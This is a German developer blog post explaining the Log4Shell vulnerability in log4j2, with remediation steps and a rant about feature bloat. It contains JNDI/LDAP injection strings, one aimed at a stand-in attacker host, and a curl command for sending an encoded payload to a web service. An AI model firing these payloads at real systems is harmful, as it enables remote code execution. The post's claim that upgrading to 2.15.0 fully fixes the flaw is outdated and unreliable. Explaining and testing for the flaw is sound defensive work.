Die Schwachstelle CVE-2021-44228(Apache Log4j Remote Code Execution im beliebten Java-Logging-Framework log4j2 füllt seit dem 10. Dezember die Kommentarspalten und bringt Admins um ihren wohlverdienten Schlaf. Entdeckt wurde es übrigens zuerst auf anfälligen Minecraft-Servern. Dieses Posting erklärt die Schwachstelle für Entwickler einmal in aller Ruhe auf Deutsch – und gibt ein paar Handlungsempfehlungen.
Die Schwachstelle
log4j2 hat ein Feature namens Lookups. Unwahrscheinlich, dass das jemand meiner Leser bereits je verwendet hat, deshalb erkläre ich es nur extrem kurz: Man kann damit Daten aus einer externen Quelle abrufen und mit loggen. Dazu muss ein Makro wie ${…} geloggt werden (oder im Logging-Pattern stehen). Die Schwachstelle besteht nun darin, dass auch ein Lookup (Nachladen) einer Klasse über JNDI möglich ist, und das auch auf einem beliebigen LDAP-Server, etwa so:
"${jndi:ldap://horrible-ldap-server.whatever.com:1389/a}"
Hierüber kann der Anwendung beliebiger Java-Code untergejubelt werden, der vom LDAP-Server des Angreifers geladen und (wenn er im static{…}-Bereich der Klasse steht) beim Loggen geladen und ausgeführt wird. Zum Beispiel ein Kryptominer, was noch einer der harmloseren vorstellbaren Fälle ist. Der Code kann aber auch einen Remote-Login öffnen oder alle Daten abgreifen, die für den User, mit dessen Rechten Ihre Anwendung läuft, erreichbar sind. Aua.
Unter Android funktioniert das Feature nicht, allerdings sind auf einem Smartphone Angriffsmöglichkeiten ohnehin schwer vorstellbar. Ähnliches gilt für Kommandozeilen- oder Desktop-Anwendungen: Solange kein Angreifer in irgendeiner Form darauf zugreifen kann, kann er die Maschine auch nicht kompromittieren, auf der das Programm läuft.
Gefährdet sind also Webanwendungen mit von außen zugänglichen Schnittstellen.
Davon gibt es freilich beliebig viele im Netz. Sind Sie für eine zuständig? Dann lesen Sie weiter!
Da eingeschleuste Kryptominer der einfachste und einträglichste Fall eines Angriffsszenarios sind, können wir schlussfolgern, dass die Last in betroffenen Rechenzentren steigen wird, also auch der CO2-Ausstoß. Soweit kein Ökostrom verbraucht wird, bereichern sich die Angreifer also persönlich auf Kosten weiterer Klimaerwärmung. Jeglicher Hass ist da berechtigt. Hilft aber nicht. Also weiter im Text:
Typische Fälle
Da ein Angreifer schwerlich den bösartigen String nach obigem Beispiel höchstpersönlich in unsere log4j-Konfigurationsdatei schreiben kann, muss er versuchen, unsere Anwendung dazu zu bringen, den String zu loggen.
Angenommen, wir haben eine Webanwendung mit einem Login-Formular, das per HTTP POST den eingegebenen Usernamen und das Passwort an eine Funktion übermittelt, dann dürfte gar nicht mal so selten folgendes im Code stehen:
logger.info("Login-Versuch mit username {}", username);
Sobald der Angreifer nun einen POST-Request abwirft, in dem der böse String als username steht, wird dieser an Log4j2 übergeben und das üble Geschehen beginnt. Dabei ist es leider egal, ob Sie die oben gezeigte (und richtige) Methode mit dem {}-Platzhalter verwenden oder ein simples +-Zeichen.
Der Fehler passiert in allen drei folgenden Fällen:
String username="${jndi:ldap://127.0.0.1:1389/Exploit}";
logger.error("Login-Versuch mit username {}", username);
logger.error("Login-Versuch mit username " + username);
logger.error(username);
Allerdings hängt das Verhalten vom Log-Level ab: Wenn das konfigurierte Log-Level höher eingestellt ist als das im Code verwendete, wird überhaupt nichts geloggt und auch die schädliche JNDI-Auflösung entfällt. Sie müssen also nur auf Logging achten, das auf Ihrer Produktiv-Instanz aktiv ist, und das sind hoffentlich nur INFO und höher, nicht die ganzen TRACE und DEBUG, mit denen Ihr Code im Entwicklermodus gesprächig gemacht wurde.
Wenn Sie den Exploit selbst nachvollziehen wollen, schauen Sie sich den Proof of Concept bei Github an. Dieser startet einen einfachen HTTP-Server (mittels Python), der die “bösartige” Klasse Exploit.class als Binärdaten ausliefert und einen simulierten Ldap-Server, der auf localhost:8888 horcht (mittels dieses Pentesting-Tools). Wenn Log4j2 den LDAP-Server erreichen kann, wird der ${…}-String durch etwas anderes ersetzt, was Sie dann im Log sehen können, wenn die Anwendung angreifbar ist. Standardmäßig versucht die Klasse Exploit übrigens, einen Taschenrechner zu starten, aber es ist nur eine Fallunterscheidung Windows/Mac enthalten, auf einem Linux-System passiert also rein gar nichts. Sie können natürlich ein eigenes Test-Executable einsetzen, oder irgendein eigenes Logging ausführen, damit nicht dauernd neue Taschenrechnerfenster erscheinen. Nötig ist das nicht, weil Sie die Anfälligkeit auch anhand der Log-Ausgabe erkennen können:
10:01:11.355 [main] ERROR de.bessercoden.demos.Log4jExploitDemo - Reference Class Name: foo
Fragen Sie mich nicht, woher dieser Text stammt, das habe ich nicht weiter erforscht – entscheidend ist, dass bei vorhandener Vulnerability nicht ${jndi:ldap://127.0.0.1:1389/Exploit} erscheint, sondern eben etwas anderes.
Rufen Sie Ihren eigenen Webservice mit curl und einem “giftigen” Parameter auf, um zu schauen, was im Logfile erscheint. Um das zu tun, erzeugen Sie eine Datei testpayload mit folgendem Inhalt:
key=${jndi%3aldap%3a//127.0.0.1%3a1389/Exploit}
Die Doppelpunkte müssen hier escaped werden. Der zu testende Webservice-Parameter wäre hier key. Dann verwenden Sie: curl -d @testpayload “http://ihr-webservice/endpoint”
Beobachten Sie das Logfile.
Falls Sie HTTP-Header loggen, denken Sie daran, dass auch diese manipuliert sein können, nicht nur Parameter.
Was tun?
Als Entwickler sollten Sie zunächst prüfen, ob Ihre Anwendung log4j2 überhaupt verwendet. Schauen Sie dazu zunächst in die effektiven Abhängigkeiten Ihres Projekts (mvn dependency:tree | grep log4j). Natürlich kann es sein, dass eine Drittkomponente diese Abhängigkeit mitbringt. Beispielsweise tun das Springboot-Projekte nicht, wenn sie auf dem Parent springboot-starter-web basieren, diese Projekte verwenden log4j Version 1, die nicht betroffen ist (und slf4j, aber das ist egal).
Wenn Sie selbst explizit log4j2 verwenden, haben Sie vermutlich eine Dependency explizit deklariert, meist etwa so:
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
Ändern Sie einfach die Versionsnummer in 2.15.0 und starten Sie einen clean build und testen Sie erneut.
Bäh, Featuritis!
Kleiner Abschlussrant. Ursache für den #epicfail ist in meinen Augen “Featuritis”: der naive Antrieb vieler Entwickler, dauernd neuen Kram in eine eigentlich fertige Software einzubauen, den fast niemand braucht – der aber standardmäßig eingeschaltet ist. Man muss noch nicht einmal auf die (eigentlich naheliegende) Idee kommen, dass ein Angreifer ein Feature wie “irgendeine Klasse per LDAP laden” auf fatale Weise ausnutzen könnte. Features, die voraussichtlich 99% der Nutzer (hier: Entwickler) nie brauchen, gehören in Erweiterungsmodule, nicht in den Basiscode. Die Regel dahinter ist KISS: Keep it simple, stupid!: Nur wirklich benötigte Daten (hier: Code) sollten sich in einem Projekt befinden, damit es schlank, schnell und in diesem Fall eben auch unanfällig für Angriffe ist.
Viel Erfolg bei der Bekämpfung der Angreifer!
